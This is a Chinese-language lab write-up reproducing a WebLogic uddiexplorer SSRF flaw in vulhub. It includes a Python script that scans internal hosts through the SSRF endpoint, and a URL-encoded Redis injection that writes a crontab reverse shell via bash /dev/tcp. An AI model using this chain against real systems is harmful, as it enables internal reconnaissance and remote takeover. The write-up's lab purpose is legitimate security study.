复现环境
vulhub
感谢vulhub开源,非常方便复现漏洞
漏洞存在点
http://127.0.0.1:7001/uddiexplorer/
burpsuit抓包
发现url请求
分别发送原来的包以及baidu.com的包
发现报错信息返回不同
不能连接80端口,这说明我们是可以访问的
而weblogic是开放7001端口的,访问下7001端口试试
发现回显了404no found,说明可以探测内网端口是否开放
探测内网ip地址
docker环境的网段一般是172.*
根据回显不同,搜内网端口和ip
import requests
import time
import threading
def test_ip(ip):
for i in range(1,255):
real_ip = f'{ip}.{i}'
print("test: " + real_ip)
t1 = threading.Thread(target=scan,args=(real_ip,))
t1.start()
time.sleep(3)
def scan(real_ip):
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080','7001', '8000', '6389', '6379')
for port in ports:
url='http://192.168.10.137:7001/uddiexplorer/SearchPublicRegistries.jsp'
data={
'operator':'http://{}:{}'.format(real_ip,port),
'rdoSearch':'name',
'txtSearchname':'4234',
'txtSearchkey':'3424',
'txtSearchfor':'4324',
'selfor':'Business+location',
'btnSubmit':'Search'
}
try:
r= requests.post(url=url,data=data)
text = r.text
if 'weblogic.uddi.client.structures.exception.XML_SoapException' in text and 'but could not connect' not in text:
print("find: ",real_ip+':'+port)
except:
pass
if __name__ == '__main__':
ip='172.17.0'
test_ip(ip)
由于docker环境访问不存在的网页比较慢,所有这边盲猜前面三个,爬虫请求太快,会把网站扫蹦,而且扫不到,在真实内网环境下是可以很快扫的。
这边ip地址变了就是因为我把docker给扫蹦了,重启了一遍,上面的脚本是不会的
扫到6379,直接redis未授权
因为服务是jsp文件,写马比较耗时间
采取反弹shell
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.170.134/1337 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.10.128%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
burpsuit发送过去
nc 监听
成功getshell